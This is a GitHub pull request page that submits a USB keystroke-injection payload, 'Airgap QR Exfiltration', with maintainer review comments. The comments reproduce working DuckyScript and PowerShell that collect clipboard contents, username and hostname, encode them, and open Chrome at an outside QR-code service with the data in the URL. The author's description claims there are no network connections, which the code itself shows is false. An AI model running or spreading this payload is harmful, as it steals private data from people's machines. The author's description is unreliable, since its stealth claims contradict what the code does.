Skip to content

Add Airgap QR Exfiltration Payload #540

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 8 commits into
base: master
Choose a base branch
from

Conversation

pezzaliapp
Copy link

🧠 Payload Name

Airgap QR Exfiltration


📝 Description

This payload silently exfiltrates sensitive data from a Windows machine without any internet connection.
It collects:

  • Clipboard contents
  • Username
  • Hostname
  • Timestamp

Then it Base64 encodes the data, URL-encodes it, and opens a QR code in Chrome.
The attacker can simply scan the QR with a smartphone and decode the string manually using a base64 decoder.


🎯 Purpose

Designed for air-gapped or offline environments, this payload demonstrates that even isolated machines can leak critical data in seconds through a clever side-channel: visual exfiltration via QR code.

No admin privileges, no network access, and no file writes required.


✅ Benefits

  • No outbound network connections
  • Works in restricted environments
  • Leaves no trace on disk
  • Extremely stealthy and fast
  • Great for Red Team / pentest / physical ops

🔐 Notes

Only for use in authorized security assessments or educational purposes.


GUI r
DELAY 300
STRING powershell
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

For instances where you are using, STRING and then immediately ENTER you can simply use STRINGLN This makes the payload smaller and more readable and keeps the original functionality.

For example,

STRINGLN POWERSHELL

Will function the same as

STRING Powershell
ENTER

ENTER
DELAY 800

STRING Add-Type -AssemblyName System.Web
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you are injecting powershell code, you can use a STRINGLN_POWERSHELL block, This cleans up the payload and makes it more readable, this also adds powershell syntax highlighting inside payload studio.

For example

STRINGLN_POWERSHELL
$clip = Get-Clipboard -Raw
$user = $env:USERNAME
$hostname = $env:COMPUTERNAME
$time = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$data = "[$time][$user@$hostname] $clip"
$encoded = [System.Web.HttpUtility]::UrlEncode([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)))
Start-Process chrome "--new-window https://api.qrserver.com/v1/create-qr-code/?size=400x400&data=$encoded"
END_STRINGLN

will function the same as you have it currently and make things cleaner and more readable.

REM Author: Alessandro
REM Description: Estrae dati locali e li mostra in QR code offline
DEFAULT_DELAY 300
DELAY 1000
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If your target machine is windows, consider using the EXTENSION PASSIVE_WINDOWS_DETECT This allows the ducky to dynamically determine when the target machine is accepting keystrokes removing the need to have a long start delay.

@hak5peaks hak5peaks added the pending requested changes requires changes before merge label May 21, 2025
REM Author: Alessandro
REM Description: Estrae dati locali e li mostra in QR code offline

EXTENSION PASSIVE_WINDOWS_DETECT
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please include all of the extension content.

@pezzaliapp
Copy link
Author

✅ All requested changes applied. Extension block added and structure improved. Ready for re-review. Thanks!

@hak5peaks
Copy link
Member

You are still missing the extension content. You need to include all of the extension and its content not just EXTENSION PASSIVE_WINDOWS_DETECT you can get the extension content and compile your payload using payloadstudio.

✅ Included full PASSIVE_WINDOWS_DETECT logic inline as requested by hak5peaks
@pezzaliapp
Copy link
Author

✅ Updated with full PASSIVE_WINDOWS_DETECT logic inline. Ready for review!

Add compiled inject.bin for reference
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Please remove the binary file.

REM Description: Exfiltrates clipboard and system info via QR code offline
REM Target: Windows

REM ---- PASSIVE_WINDOWS_DETECT EXTENSION (INLINE) ----
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

@pezzaliapp
Copy link
Author

Hi! 👋 Thanks for the feedback.

The binary file (inject.bin, renamed delete_me.tmp) has now been completely removed from the repository history as requested.

Commit reference: 33f86e8
Let me know if any additional changes are needed!

Thanks again 🔐

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
pending requested changes requires changes before merge
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants